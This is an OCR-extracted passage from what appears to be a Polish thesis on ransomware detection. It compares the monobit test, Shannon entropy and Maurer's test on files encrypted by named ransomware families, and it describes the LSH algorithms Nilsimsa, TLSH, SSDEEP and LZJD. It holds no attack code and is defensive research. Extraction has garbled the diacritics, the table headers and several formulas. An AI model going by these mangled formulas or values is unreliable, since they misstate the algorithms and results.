PDF 581 407 1 16 384 6.908953 | 7.092820 | 3.761055 | 7.182985 | 7.184741 | 7.183131 | 7.183912 | 7.182904
JPG 1299 567 1 16 384 7.141869 | 7.172087 | 3.759658 | 7.183031 | 7.184334 | 7.176125 | 7.182949 | 7.184712
TXT 42 885 1 16 384 3.756659 | 6.163192 | 3.734172 | 7.186835 | 7.183925 | 7.177986 | 7.198003 | 7.189869
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XLSX 32924 1 16 384 6.290119 | 6.886559 | 3.752274 | 7.191693 | 7.175273 | 7.187096 | 7.182306 | 7.177125
ZIP 11 688 947 1 16 384 7.120026 | 7.132699 | 3.757335 | 7.184179 | 7.183435 | 7.126572 | 7.184215 X
DOC 32768 1 16 384 2.490696 | 5.378254 | 3.727740 | 7.199186 | 7.174686 | 7.187237 | 7.184964 | 7.186544
XLS 46 080 1 16 384 3.704610 | 5.861214 | 3.739356 | 7.186793 | 7.175503 | 7.189173 | 7.181339 | 7.188222
SVG 7 905 340 1 16 384 2.966987 | 4.283873 | 3.760069 X 7.183442 | 3.544368 | 7.184964 | 7.183448
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VI.3 Test monobitowy

Test monobitowy’®, nazywany rdwniez testem czestosci jednego bitu, tojeden
z podstawowych testéw losowosci. Test ten stuzy do oceny rownowagi miedzy
wystepowaniem zer ijedynek w sekwencji danych binarnych. Test monobitowy jest czesto
wykorzystywany w kontekscie oceny losowosci danych lub jakosci generowanych liczb

pseudolosowych.

Wynikiem testu monobitowego jest okreslenie, czy analizowane dane binarne sg zgodne
z oczekiwanym rozktadem losowym. Jesli wynik testu jest znaczgco odmienny od wartosci
oczekiwanej, moze tosugerowaé, zedane nie s3 losowe lubze wystepuje pewna

nieregularnos¢ w sekwencji bitow.

Test monobitowy jest czesto uzywany w kontekscie oceny jakosci generatoréw liczb
pseudolosowych, weryfikowania losowosci danych uzywanych w kryptografii oraz w innych
dziedzinach, w ktérych losowos¢ jest istotna. Jednak test ten jest jedynie jednym z wielu
testow i nie jest wystarczajagcy do petnej oceny losowosci danych. Dlatego stosuje sie rozne
testy statystyczne jako cze$¢ bardziej zaawansowanych zestawdw testéw do analizy

losowosci.
Uproszczony opis krokédw testu monobitowego:

e Przygotowanie danych - na poczatek przygotowuje sie sekwencje bitéw, ktdre majg
by¢ poddane testowi. To mogg by¢ dane zdowolnego Zrédfa, na przyktad dane
kryptograficzne, dane losowe lub inne ciggi bitow.

e Zliczanie jedynek i zer - w ramach testu monobitowego zlicza sie liczbe jedynek i zer
w sekwencji bitow.

d = |Liczba jedynek — Liczba zer|
e Obliczenie statystyki testu (dla sekwencji testowej o dtugosci n bitow).
d

‘=&

76 Bassham, L. , Rukhin, A. , Soto, J. , Nechvatal, J. , Smid, M. , Leigh, S., Levenson, M. , Vangel, M. , Heckert,
N. and Banks, D. (2010), A Statistical Test Suite for Random and Pseudorandom Number Generators for
Cryptographic Applications, Special Publication (NIST SP), National Institute of Standards and Technology,
Gaithersburg, MD
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e Ocena wyniku - jezeli obliczona warto$¢ P jest mniejsza niz 0,01, uznaje sie,

ze testowana sekwencje nie jest losowa.

Badania testu monobitowego przeprowadzone zostaty z wykorzystaniem nastepujacych

wersji oprogramowania ransomware:

e Maoloa
e UnlockYourFiles

e BlackKingdom

e Ryuk

e DarkSide
e WannaCry
e REvil

e Jigsawlocker
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VI1.3.1 Wyniki testow

Ponizsza tabela prezentuje obliczone wartosci testu monobitowego dla plikow testowych przed oraz po atakach wybranych wers;ji

oprogramowania ransomware.
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BMP 7 372938 0,0000 0,0000 0,0000 X 0,8752 0,0000 0,3129 0,0000 0,6322
MP3 3912350 0,0000 0,0000 0,0000 X 0,3925 0,0000 0,3660 0,0000 0,8349
DOCX 120515 0,0000 0,7304 0,0000 0,1297 0,9045 X 0,1936 0,0000 0,6163
PDF 581 407 0,0000 0,0000 0,0000 0,2059 0,4857 0,9099 0,1582 0,0000 0,9173
JPG 1299 567 0,0000 0,0002 0,0000 0,2942 0,2750 0,0000 0,9343 0,0000 0,5037
TXT 42 885 0,0000 0,0000 0,0000 0,9592 0,7672 0,8969 0,7985 0,0000 0,3934
XLSX 32924 0,0000 0,0000 0,0000 0,5280 0,2983 0,4791 0,7800 0,0000 0,7287

ZIP 11 688 947 0,0000 0,0000 0,0000 0,6415 0,9035 0,0000 0,7462 0,0000 X

DOC 32768 0,0000 0,0000 0,0000 0,7966 0,7735 X 0,5887 0,0000 0,0123
XLS 46 080 0,0000 0,0000 0,0000 0,7246 0,4024 0,1001 0,8182 0,0000 0,6260
SVG 7 905 340 0,0000 0,0000 0,0000 X 0,0393 0,0000 0,7414 0,0000 0,3953
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V1.4 Poréwnanie czasow wykonania

V1.4.1 Pliki niezaszyfrowane

Ponizsza tabela prezentuje obliczone wartosci testu Maurera, entropii Shannon’a i testu monobitowego wraz z czasami ich wykonania - dla

plikdw niezaszyfrowanych.
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= NS) c c = c [ =} N —
= '8 2 Q < 2 9 o 2 2
Y ™ 7)) S = 7)) S = S o
o 2 0 gt s ) T s = 2
ey = - - - 2 E & E - 2 g
csv 1 3,714358 0 0 0,0033 0,0099 0,0283 256
TXT 3 4,287103 0 0 0,006 0,0058 0,0214 1024
DOC 26 4,65641 0 3,81558 0,0325 0,028 0,1059 8192
PDF 568 7,973406 0 6,910712 0,6192 0,6599 2,325 8192
DOCX 1282 7,996948 0 7,052504 1,35 1,2244 5,1464 8192
PNG 5024 7,99826 0 7,098599 5,3148 4,774 20,1396 8192
MP3 11378 7,973075 0 7,13112 12,9328 14,2786 46,038 8192
MOV 17 028 7,999955 0 7,181206 21,454 19,5033 69,7026 8192
WAV 42 113 7,644649 0 6,265829 46,2548 50,2731 171,7309 8192
MP4 129511 7,999979 0 7,183146 21,454 19,5033 69,7026 8192
ZIP 302 700 7,994353 0 7,178095 335,8405 365,694 1241,4167 8192
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V1.4.2 Pliki zaszyfrowane

Ponizsza tabela prezentuje obliczone wartosci testu Maurera, entropii Shannon’a i testu monobitowego wraz z czasami ich wykonania - dla

plikdw zaszyfrowanych.
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= NS) c c = c [ =} N —
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Y > 7)) S = 7)) S = S o
o I *a t t ey ey t 5 2
ey = - - - & E & E - 2 o
Ccsv 1 7,761 0,834827 7,074454 0,0145 0,0083 0,1629 256
TXT 3 7,931176 0,290497 7,145406 0,0148 0,0041 0,5082 1024
DOC 26 7,991535 0,435754 7,191256 0,0387 0,0316 0,1008 8192
PDF 568 7,999706 0,814504 7,183559 0,6325 0,6345 2,3125 8192
DOCX 1282 7,999854 0,885136 7,182193 1,5735 1,6886 5,4824 8192
PNG 5024 7,999953 0,868272 7,183982 5,8511 6,1044 20,5771 8192
MP3 11378 7,999984 0,921941 7,183934 13,9526 14,256 46,904 8192
MOV 17 028 7,999989 0,164032 7,183656 19,3391 21,8839 70,4112 8192
WAV 42 113 7,999997 0,564488 7,183646 49,284 52,0237 172,5441 8192
MP4 129511 7,999999 0,424598 7,183704 161,9901 172,8662 575,9684 8192
ZIP 302 700 8 0,879331 7,183682 361,836 379,5945 1274,5081 8192
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V1.4.3 Pliki zaszyfrowane czesciowo — co drugi bajt

—_ S

[a'a] iy b
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= 8 2 Q < 2 9 o 2 2
Y ™ 7)) S = 7)) € = S o
o 2 0 gt s ) 13T s = 2
ey = - - - 2 E g E - 2 g
csv 1 6,303845 0 5,657741 0,0119 0,0102 0,0814 256
TXT 3 6,813474 0,000004 6,112795 0,014 0,0053 0,4749 1024
DOC 26 6,993898 0 6,186265 0,0395 0,0339 0,1023 8192
PDF 568 7,992689 0 7,103144 0,6469 0,6731 2,4314 8192
DOCX 1282 7,99908 0 7,147308 1,5256 1,625 5,3252 8192
PNG 5024 7,99956 0 7,165945 5,8885 7,0399 21,4127 8192
MP3 11378 7,99265 0 7,170512 14,1226 15,2068 47,8168 8192
MOV 17 028 7,99998 0,000106 7,182721 19,6279 21,5807 70,1471 8192
WAV 42 113 7,999884 0 7,16507 50,9131 54,6254 176,846 8192
MP4 129 511 7,999994 0 7,183388 161,0301 167,9483 561,6253 8192
ZIP 302 700 7,999132 0 7,182846 364,4242 388,2887 1273,7025 8192
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V1.4.4 Pliki zaszyfrowane czesSciowo — co drugi bit

—_ S
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Y ™ 7)) S = 7)) € = S o
o 2 0 gt s ) 13T s = 2
5 3 & g & $E | BE & 2 o
csv 1 5,876886 0 5,122799 0,0055 0,0102 0,1081 256
TXT 3 5,902218 0 5,176529 0,0089 0,0046 0,3055 1024
DOC 26 6,083702 0 5,269254 0,0369 0,0271 0,1118 8192
PDF 568 7,995556 0 7,105979 0,6442 0,6657 2,3123 8192
DOCX 1282 7,999125 0 7,159468 1,5902 1,5899 5,4371 8192
PNG 5024 7,999845 0 7,161344 5,7294 6,2987 20,3129 8192
MP3 11378 7,993647 0 7,17026 14,4174 15,0079 48,312 8192
MOV 17 028 7,999986 0,000006 7,182851 19,659 21,3393 70,3386 8192
WAV 42 113 7,897204 0 6,889563 48,4511 54,3586 174,3838 8192
MP4 129 511 7,999992 0 7,183564 159,9313 174,5225 566,2403 8192
ZIP 302 700 7,999829 0 7,18349 361,5835 386,5026 1277,9827 8192
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V1.4.5 Pliki zaszyfrowane cze$ciowo — co drugi blok 128 bitowy
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Ccsv 1 6,249972 0 5,522397 0,116 0,0106 0,2448 256
TXT 3 6,834071 0 6,104545 0,149 0,0052 0,6963 1024
DOC 26 7,00484 0 6,072157 0,0385 0,033 0,1102 8192
PDF 568 7,9929 0 7,093076 0,6368 0,6441 2,2947 8192
DOCX 1282 7,999162 0 7,137011 1,4338 1,7124 5,6674 8192
PNG 5024 7,999538 0 7,158329 6,2167 6,496 20,0531 8192
MP3 11 378 7,992726 0 7,162154 14,2598 15,2748 45,7673 8192
MOV 17 028 7,999979 0,000267 7,183163 20,0379 21,0475 71,9751 8192
WAV 42 113 7,903641 0 6,839661 51,0404 54,0853 171,4745 8192
MP4 129511 7,999994 0 7,183583 162,3412 170,7359 561,779 8192
ZIP 302 700 7,99134 0 7,182836 370,1225 391,6521 1279,5196 8192
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VI.5 Podsumowanie

Analizujac przedstawione powyzej wyniki badan testu Maurera, entropii Shannon'a oraz

testu monobitowego, mozna zauwazy¢, ze:

e Entropia Shannon'a:

o

o

o

Pozwala oceni¢ zmiany zachodzace w pliku - w kontekscie petnego
zaszyfrowania jego danych.

Pozwala oceni¢ zmiany zachodzgce w pliku - w kontekscie czesciowego
zaszyfrowania jego danych.

Nie pozwala jednoznacznie oceni¢ zmian w pliku, jesli nastgpita zmiana
uzywanego do zapisu danych alfabetu (np. dane pliku zostaty zaszyfrowane
i nastepnie zakodowane algorytmem Base64).

Bardziej efektywny (szybszy) niz test monobitowy.

Bardziej efektywny (szybszy) niz test Maurera.

Nie pozwala odrézni¢ pliku skompresowanego od zaszyfrowanego.

e Test Maurer:

o

(@]

Pozwala oceni¢ zmiany zachodzace w pliku - w kontekscie petnego
zaszyfrowania jego danych.

Pozwala oceni¢ zmiany zachodzgce w pliku - w kontekscie czesciowego
zaszyfrowania jego danych.

Nie pozwala jednoznacznie oceni¢ zmian w pliku, jesli nastgpita zmiana
uzywanego do zapisu danych alfabetu (np. dane pliku zostaty zaszyfrowane
i nastepnie zakodowane algorytmem Base64).

Nie pozwala odrézni¢ pliku skompresowanego od zaszyfrowanego.

e Test monobitowy:

o

Pozwala oceni¢ zmiany zachodzace w pliku - w kontekscie petnego
zaszyfrowania jego danych.
Nie pozwala oceni¢ zmian zachodzgcych w pliku - w kontekscie czesciowego
zaszyfrowania jego danych.
Pozwala oceni¢ zmiany zachodzace w pliku réwniez, jesli nastgpita zmiana
uzywanego do zapisu danych alfabetu (np. dane pliku zostaty zaszyfrowane

i nastepnie zakodowane algorytmem Base64).
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o Bardziej efektywny (szybszy) niz test Maurera.

o Pozwala odrézni¢ plik skompresowany od zaszyfrowanego.
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VIl Kategoryzacja danych

VII.1 Rodziny LSH i LPH

LSH (Locality-Sensitive Hashing)’” i LPH (Locality-Preserving Hashing)’® to dwie techniki

uzywane w analizie danych, zwtaszcza w kontekscie przetwarzania iorganizacji duzych

zbioréw danych oraz w zadaniach wyszukiwania podobnych elementéw w tych zbiorach.

LSH (Locality-Sensitive Hashing):

LSH jest technikg uzywang do mapowania elementéw zbioru danych w taki sposdb,
ze podobne elementy majg wiekszg szanse na zostanie odwzorowanymi na te same
kategorie (klasa abstrakcji, bucket) w przestrzeni skrétow.

LSH jest wykorzystywane do przyblizania podobienstwa miedzy elementami w duzych
zbiorach danych, na przyktad w zadaniach wyszukiwania podobnych dokumentow
w zbiorach tekstowych lub rekomendacji na podstawie podobienstwa produktéw.
LSH wykorzystuje funkcje haszujgce (skrotu), ktore przydzielajg elementom unikalne
hasze (skroty). Elementy o podobnych cechach majg wiekszg szanse na otrzymanie
tych samych lub zblizonych wartosci skrétéw (haszy). Dzieki temu mozna efektywnie
ograniczy¢ przeszukiwanie zbioru danych do tych samych kategorii i znalez¢ podobne

elementy.

LPH (Locality-Preserving Hashing):

LPH jest technikg uzywang do mapowania elementdw zbioru danych w taki sposéb,
aby zachowac lokalne podobienstwo miedzy elementami. W przeciwienstwie do LSH,
LPH skupia sie na zachowaniu struktury przestrzennej danych (sposéb dziatania jest
zalezny od danych).

LPH jest stosowane w problemach, gdzie zachowanie topologii lub struktury danych
jest kluczowe, na przyktad w przeszukiwaniu graféw, analizie sieci spotecznosciowych

lub w systemach rekomendaciji.

7 Locality-sensitive Hashing, Wikipedia, https://en.wikipedia.org/wiki/Locality-sensitive_hashing, (dostep
06.2022)

8 Kang Zhao, Hongtao Lu, Jincheng Mei, "Locality Preserving Hashing", Proceedings of the Twenty-Eighth
AAAI Conference on Atrtificial Intelligence, 2014
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e LPH wykorzystuje funkcje haszujgce, ktére starajg sie zachowac lokalne podobienstwo
miedzy elementami. Elementy, ktére sg blisko siebie w oryginalnej przestrzeni,

powinny by¢ blisko siebie rowniez po zastosowaniu hashowania.

Podsumowujac, zaréwno LSH, jak iLPH to techniki obliczania skrétow (haszowania)
wykorzystywane  wanalizie  danych. Zpunktu widzenia  bezpieczenstwa s3
to niekryptograficzne funkcje skrotu. Réznig sie gtdwnie sposobem dziatania oraz sposobem
przetwarzania danych (przetwarzanie LSH jest niezalezne od struktury danych, przetwarzanie
LPH jest zalezne od struktury danych). LSH skupia sie na grupowaniu podobnych elementéw
w te same kategorie (klasy abstrakcji), podczas gdy LPH skupia sie na zachowaniu struktury

przestrzennej danych i lokalnego podobiefnstwa miedzy elementami.

Locality Sensitive Hashing (LSH) to ogdlna technika haszowania, ktérej gtéwnym celem jest
zachowanie lokalnych relacji danych przy jednoczesnym znacznym zmniejszeniu
wymiarowosci zbioru danych. LSH mozna zatem traktowa¢ jako pewng rodzine funkcji
haszujacych, ktérej celem jest maksymalizacja kolizji (funkcja zwraca takg sama wartosc¢ dla
réznych argumentow) dla podobnych elementéw. Funkcje LSH mozna niejako traktowac jako

swego rodzaju przeciwienstwo kryptograficznych funkcji skrotu.
Funkcje h nazwiemy typu LSH, jezeli dla dowolnych argumentéw a, b:

1. P(h(a) == h(b)) jest wysokie, jezeli dane a oraz b sg podobne do siebie.

2. P(h(a) == h(b)) jest niskie, jezeli dane a oraz b nie sg podobne do siebie.

Funkcje typu LSH wykorzystywane sg np. w mechanizmie rozpoznawania utwordéw
muzycznych Shazam’®. Mechanizm ten na podstawie kilku sekundowej prébki utworu z duzym

prawdopodobiefstwem sukcesu rozpoznaje utwor.
Podstawowe zastosowanie funkcji LSH obejmuje:

e Systemy rekomendujgce.
e Wykrywanie bliskich duplikatéw (dokumenty, artykuty informacyjne online itp.).
e Hierarchiczne grupowanie.

e System medyczne - np. badanie asocjacji w genomie®.

9 Shazam, Wikipedia, https://pl.wikipedia.org/wiki/Shazam_(aplikacja), (dostep 06.2022)
80 Asocjacje wad wrodzony, Wikipedia, https://pl.wikipedia.org/wiki/Asocjacje_wad_wrodzonych, (dostep
06.2022)
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e Identyfikacja podobienstwa obrazéw.
e |dentyfikacja podobienstwa dzwieku.

e Cyfrowe odciski palcéw (fingerprinting) danych multimedialnych (np. filméw).

Przyktadowo, firma Uber wykorzystata funkcje LSH do wykrywania naduzy¢ na swojej

platformie (fatszywe konta, oszustwa ptatnicze itp.)8.

LSH jest algorytmem opartym na haszowaniu, stuzagcym do identyfikacji przyblizonych
najblizszych sgsiadéw. W normalnym problemie najblizszego sgsiada, w przestrzeni znajduje
sie pewna liczba punktéw (zwana zbiorem treningowym) i biorgc pod uwage nowy punkt,
celem jest zidentyfikowanie punktu ze zbioru treningowego najblizszego danemu punktowi.
Ztozonos¢ obliczeniowa takiego problemu jest liniowa (O(N), gdzie N jest rozmiarem zbioru
treningowego). Przyblizony algorytm najblizszego sgsiedztwa prébuje zmniejszy¢ te ztozonos¢
do ztozonosci podliniowej? (mniejszej od liniowej). Ztozonos¢ podliniowg uzyskuje sie przez
zmniejszenie liczby poréwnan potrzebnych do znalezienia podobnych elementéw. LSH dziata
w oparciu o zasade, ze jesli dwa punkty w przestrzeni cech znajdujg sie blizej siebie, to jest
bardzo prawdopodobne, ze majg taki sam skrét (hasz, zredukowang reprezentacje danych).
LSH rdéini sie od konwencjonalnego haszowania (zwanego kryptograficznym) tym,
ze haszowanie kryptograficzne stara sie unikac kolizji, natomiast LSH dazy do maksymalizacji
kolizji dla podobnych punktéw. W haszowaniu kryptograficznym niewielkie znieksztatcenie
danych wejsciowych znaczgco zmienia wartos¢ skrétu (tak zwany efekt lawinowy), natomiast
w LSH niewielkie znieksztatcenia sg ignorowane, dzieki czemu gtédwna tres¢ moze by¢ fatwo

zidentyfikowana.

Podsumowujac, Locality Sensitive Hashing (LSH) to ogdlna technika haszowania, ktodrej
celem jest zachowanie lokalnych relacji danych przy jednoczesnym znacznym zmniejszeniu

wymiarowosci zbioru danych.

W zwigzku z powyzszym, funkcje typu LSH mozna wykorzysta¢ do weryfikacji zmian
dokonywanych w danych przez procesy systemowe. Monitorowanie poziomu zmian w danych

mozna wykorzysta¢ we wskaznikach wczesnej detekcji oprogramowania typu ransomware.

81 Detecting Abuse at Scale: Locality Sensitive Hashing at Uber Engineering, Uber, https://www.uber.com/en-
PL/blog/Ish/, (dostep 06.2022)
82 Funkcja podliniowa, Wikipedia, https://pl.wikipedia.org/wiki/Funkcja_podliniowa, (dostep 06.2022)
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VII.1.1 Nilsimsa

Nilsimsa® torodzaj funkcji LSH, ktéry jest uzywany gtéwnie do pordwnywania
i identyfikowania rdéznych wersji dokumentow lub plikéw na podstawie ich unikalnych
sygnatur. Jej oryginalna koncepcja zostata nieznacznie zmieniona przez E. Damiani et al.8%.
Wprowadzone zmiany miaty gtéwnie na celu lepsze dopasowanie algorytmu Nilsimsa do
detekcji wiadomosci e-mail typu spam igtéwnie dotycza sposobu obliczania wartosci

granicznej W.

Argumentem funkcji Nilsimsa jest cigg danych (plik). Zwracang wartoscig jest 32 bajtowy
skrot, reprezentujacy rozkfad trigramow w analizowanym tekscie. Nilsimsa dziata korzystajac
z okna danych ztozonego z pieciu znakow (bajtow). Na poczatku przetwarzania okno zaczyna
sie na pierwszym znaku (bajcie) przetwarzanych danych. W ramach kolejnych krokéw okno
to jest przesuwane co 1 znak (bajt), az do przetworzenia wszystkich danych. Idee okna danych

prezentuje ponizszy rysunek.

Y v v %
il g|m rlalm HNEpEEEREEEREEEREEEREEER

- I = T Trigram 3 Trigram 4 Trigram 3 Trigram € Trigram 7 Trigram &
Trigram 1 3 Trigram 2 \

¥
»  Multi-Hash
T
[ v
Becumulater [T I T T T PT T T T T LT L T LTI T ] ] [T I T I T T T]
Thrashold i - = =
Rysunek 24. Nilsimsa - sposob przetwarzania danych

(zrodio: https://spdp.di.unimi.it/papers/pdcs04.pdf)

83

84 E. Damianil, S. De Capitani di Vimercatil, S. Paraboschi2, and P. Samarati, "An Open Digest-based Technique for Spam Detection" in
Proc. of the 2004 International Workshop on Security in Parallel and Distributed Systems, San Francisco, 2004.

Nilsimsa: http://ixazon.dynip.com/~cmeclax/nilsimsa.html
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Wraz z kazdym przesunieciem okna danych, wyznaczone sg nowe trigramy i obliczana jest
wartos¢ funkcji h(t). Petne przetwarzanie algorytmu Nilsimsa sktada sie z nastepujgcych

krokow:

e Tokenizacja itrigramy - tekst wejsciowy T, gdzie T; to i-ty znak, o dtugosci N,
dzielony jest na naktadajgce sie na siebie trigramy (sekwencje trzech znakéw):
t; = (T, Tipr, Tigz)dlai = 1L,N — 2
e Funkcja skrotu dla trigramow - dla kazdego trigramu t; obliczana jest wartos¢ funkcji

h(tl)
h(t,) = (z ord(T;) * p;) mod 256
=i

o ord(Tj) - reprezentacja wartosci znaku T; (np. numeryczna wartos¢ bajtu
danych, wartos¢ znaku w kodzie ASCII, itp.),
o pj - stata nadajaca wage pozycji znaku w trigramie, standardowo rowne 1.

¢ Inicjalizacja tablicy stanu A (256 bajtéw):

A= 0dlai=1,N =2

e Aktualizacja tablicy stanu A:

Ah(ti) + 1,gdy Ah(ti) < 255

Ancey :{255’ gdy Angy = 255 dlai=TN =2

e Obliczanie wartosci granicznej W (pierwotna wersja algorytmu)

W A
256

e Obliczanie skrétu S (256 bitow, 32 bajty):

dlai = 1,256

i

(1 gdyApey > W
0 gdyApe) < W

e Analiza podobienstwa danych poprzez poréwnanie ich skrétéw S1i S2:
256

DIFF = Z(Sli @ S2,) — 128
i=1

e Dla poréwnywanych skrétéw DIFF € {—128,—-127,...,0,...,127,128}. Wedtug

pierwotnej wersji algorytmu Nilsimsa, poréwnywane dane mozemy uznac
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za podobne (beda modyfikacja tej samej wiadomosci), gdy DIFF > 24. Dla dwéch

losowych 256-bitowych ciggdw danych oczekiwana wartos¢ DIFF = 0.

VII.1.2 TLSH

TLSH® (Trend Micro Locality Sensitive Hash) toalgorytm typu LSH stuzacy do
porownywania iidentyfikowania podobiefAstwa miedzy dokumentami lub danymi.
To rozwigzanie opracowane przez firme Trend Micro, jest szczegdlnie skoncentrowane
na analizie duzejilosci danych, takich jak pliki logdéw, a takze na wykrywaniu zmodyfikowanych
dokumentdw. TLSH stanowi czes$é specyfikacji mechanizmu STIX8. Algorytm TLSH opiera sie
na tworzeniu skrétéw danych, ktére mozna poréwnywac w celu oceny podobieristwa miedzy

plikami.

Argumentem funkcji TLSH jest cigg danych (plik). Zwracang wartoscig jest 35 bajtowy skrot.
TLSH, podobnie jak Nilsimsa, dziata korzystajgc z okna danych ztozonego z pieciu znakéw
(bajtéw). Na poczatku przetwarzania okno zaczyna sie na pierwszym znaku (bajcie)
przetwarzanych danych. W ramach kolejnych krokéw okno to jest przesuwane co 1 znak

(bajt), az do przetworzenia wszystkich danych.
Przetwarzanie danych przez algorytm TLSH skfada sie z nastepujacych krokéw:

e Tokenizacja itrigramy - tekst wejsciowy T, gdzie T; to i-ty znak, o dtugosci N,
dzielony jest na naktadajgce sie na siebie trigramy (sekwencje trzech znakéw):
t; = (T Tipr, Tigz)dlai = 1L,N — 2
e Funkcja skrotu dla trigramow - dla kazdego trigramu t; obliczana jest wartos¢ funkcji

h(tl)
h(t,) = (z ord(T;) * p;) mod 256
j=i

o ord(Tj) - reprezentacja wartosci znaku T; (np. numeryczna wartos¢ bajtu
danych, wartos¢ znaku w kodzie ASCII, itp.),

o pj - stata nadajaca wage pozycji znaku w trigramie, standardowo rowne 1.

85 Jonathan Oliver, Chun Cheng, and Yanggui Chen, TLSH - A Locality Sensitive Hash. 4th Cybercrime and
Trustworthy Computing Workshop, Sydney, November 2013.
8 STIX Version 2.1, OASIS Standard, 10 June 2021, https://docs.oasis-open.org/cti/stix/v2.1/stix-v2.1.html.
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Inicjalizacja tablicy stanu A (256 bajtow):

A;=0dlai=1,N-2
Aktualizacja tablicy stanu A:

Ah(ti) + 1,gdy Ah(ti) < 255 . -
Ancen = { 255, gdy Apgy = 255 HAt=LN =2
Obliczanie wartosci kwantyli g4, g2, q3:
75% wartosci w tablicy A = q
50% wartosci w tablicy A = q,
25% wartosci w tablicy A > q5

Obliczanie wartosci nagtéwka skrotu S:

S[1] = CHECKSUM(T)mod 256
S[2] = log,N mod 256
S[3] = (((g1 *100/g3) mod 16) << 4) | (((q2 * 100/q3) mod 16))

Obliczanie wartosci dalszej czesci skrétu S (S, ;, 0znacza warto$¢ bitu numer a oraz
b ze skrotu S):
SZ*i,Z*H.i = 11 dlai= 0,127
00 gdyA; <qu

SZ*i,Z*i+i = 101 gdy Ai <q; dlai =0,127
10 gdyA; < qs

W algorytmie TSLH analiza podobienstwa wartosci skrétéw S1iS2 polega
na obliczeniu sumy odlegtosci miedzy czesSciami nagtdwkowymi oraz dalszymi
czesciami obliczonych skrétéw (aproksymowana wartosé odlegtosci Hamming'a).
Obliczona wartos¢ DIFF > 0. Warto$¢ 0 oznacza, ze porownywane dane s3
identyczne (lub prawie identyczne). Im wieksza wartos¢ DIFF, tym rdznica

pomiedzy poréwnywanymi sekwencjami danych jest wieksza.

SSDEEP

SSDEEP?’ to algorytm uzywany do poréwnywania i identyfikowania podobieristwa miedzy

dwoma zestawami danych, czesto stosowane w analizie plikdw na potrzeby bezpieczenstwa

informacji. To narzedzie jest szczegdlnie przydatne w wykrywaniu zmodyfikowanych

lub podobnych plikdw oraz w zadaniach zwigzanych z identyfikacjg duplikatéw. SSDEEP, znane

87 ssdeep - https://ssdeep-project.github.io/ssdeep/
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rowniez jako spamsum, zostato stworzone przez Jesse Kornbluma®8, ktéry jest ekspertem
w dziedzinie informatyki sledczej. Jesse Kornblum jest znany wielu narzedzi zwigzanych

z analizg danych cyfrowych oraz bezpieczeristwem komputerowym.

Z technicznego punktu widzenia SSDEEP jest algorytmem, ktéry do obliczenia skrétu
korzysta z metody kontekstowo wyzwalanego haszowania fragmentarycznego w potgczeniu
z tradycyjnymi algorytmami haszujgcym - CTPH (context triggered piecewise hashes). Skroty
zwracane przez SSDEEP czasami nazywane s3g tez rozmytymi haszami. Najistotniejszg cecha
koncepcji CTPH jest mozliwosci dopasowywania danych, ktére majag pewne homologie -
identyczne sekwencji bajtéw (bitéw), pomiedzy ktérymi wystepujg sekwencje danych

réznigcych sie zawartoscia lub dtugoscia.

W algorytmie SSDEEP analiza podobienstwa wartosci skrotédw S1iS2 polega na obliczeniu
sumy odlegtosci miedzy czesciami nagtdwkowymi oraz dalszymi czesciami obliczonych
skrotow (aproksymowana wartos¢ odlegtosci Hamming’a). Obliczona wartos¢ DIFF €
{0,1,2,....,99,100}. Wartos¢ 100 oznacza, ze pordwnywane dane sg identyczne (lub prawie

identyczne). Wartos¢ 0 oznacza, ze dane sg catkowicie rézne.

Algorytm SSDEEP stanowi cze$¢ pakietu narzedziowego NSRL® publikowanego przez

amerykanskg agencje rzgdowa NIST®.

VII.1.4 LZID

LZJID! (Locality-Sensitive Joint-Compression Distance) to algorytm do sprawdzania
podobienstw miedzy sekwencji danych. Zostat stworzony m.in. jako alternatywa dla funkcji
SSDEEP. Jego oryginalnym przeznaczenie byto wspomaganie analizy oprogramowania
malware oraz informatyki sledczej. LZID mozna zatem z powodzeniem wykorzysta¢ do
grupowania danych, poszukiwania danych zakazanych (z czarnych list), poszukiwania
obiektdw osadzonych winnych plikach (np. ztosliwych skryptéw oraz makr osadzonych

w dokumentach).

88 J. Kornblum, "Identifying Almost Identical Files Using Context Triggered Piecewise Hashing" in Proc. of the
6th Annual DFRWS, 2006, S91-S97. Elsevier.

% National Software Reference Library, NIST, https://www.nist.gov/itl/ssd/software-quality-group/national-
software-reference-library-nsrl

90 National Institute of Standards and Technology - https:/www.nist.gov

L E. Raff, Ch. Nicholas, "Lempel-Ziv Jaccard Distance, an Effective Alternative to Ssdeep and Sdhash", Digital
Investigation, Volume 24, March 2018, Pages 34-49, https://doi.org/10.1016/;.diin.2017.12.004
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Autorzy LZJD w przedstawionej powyzej pracy twierdzg, ze jest on lepszy np. od SSDEEP,

poniewaz:

e Dziata bardziej efektywnie, dlatego lepiej nadaje sie do przetwarzania duzej ilosci
danych.

e Po drugie, wynik LZJD mozna w praktyce interpretowac¢ jako dolng granice
podobienstwa zawartosci binarnej dwéch plikow.

e LZID lepiej dopasowuje fragmenty pliku do jego pliku Zrédtowego (tj. plik Zréodtowy
otrzymuje najwyzszy wynik dopasowania w poréwnaniu do wszystkich innych

plikow).
Gtéwnymi krokami podstawowej wersji algorytmu LZJD s3:

o LZSet(b) - konwersja ciggu wejsciowej b na zbidr podciggdw S,. Do konwersji

uzywana jest uproszczona wersja algorytmu LZ77°2.

procedure LZSet(ciag bajtéw b)
s =0
start = 0
koniec = 1
while koniec =< diugos¢ (b) do
podciag, = blstart:koniec]
if podciag, ¢ Sy, then
Sy = Sp U {podciagy}
start = koniec
end if
koniec = koniec + 1
end while
return S,
end procedure

Kod Zrédfowy 10. Pseudo kod dla uproszczonej wersja algorytmu LZ77 uZzywanej w LZID
e J(A,B) - obliczenie miary podobieristw pomiedzy zbiorami A i B (podobienstwo
Jaccard'a):

|A N B|
|A U B|

e LZDJ(x,y) - obliczenie odlegtosci miedzy ciggami bajtéw x i y (odlegtos¢ Lemple-Ziv

J(A,B) =

Jaccard):
DIFF = LZD](x,y) = 1 — J(LZSet(x), LZSet(y))
Celem optymalizacji ilosci danych przechowywanych w pamieci (wynikéw LZSet(b)),

implementacje LZJD korzystajg z kompresji danych. Celem zwiekszenia efektywnosci

92]. Ziv, A. Lempel, A universal algorithm for sequential data compression, IEEE Transactions on Information
Theory 23 (3) (1977) 337-343, ISSN 0018-9448, doi:10:1109/TIT:1977:1055714,
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wykonywanych obliczeri, implementacje LZJD aproksymujg wartosci miary podobienstwa
J(A,B). Do obu tych optymalizacji wykorzystywane sg metody zwane min-hashing. Kroki

algorytmu LZJD wygladajg wtedy nastepujaco:

o LZSet(b) - konwersja ciggu wejsciowej b na zbidér podciggdw S,. Do konwersji
uzywana jest uproszczona wersja algorytmu LZ77.

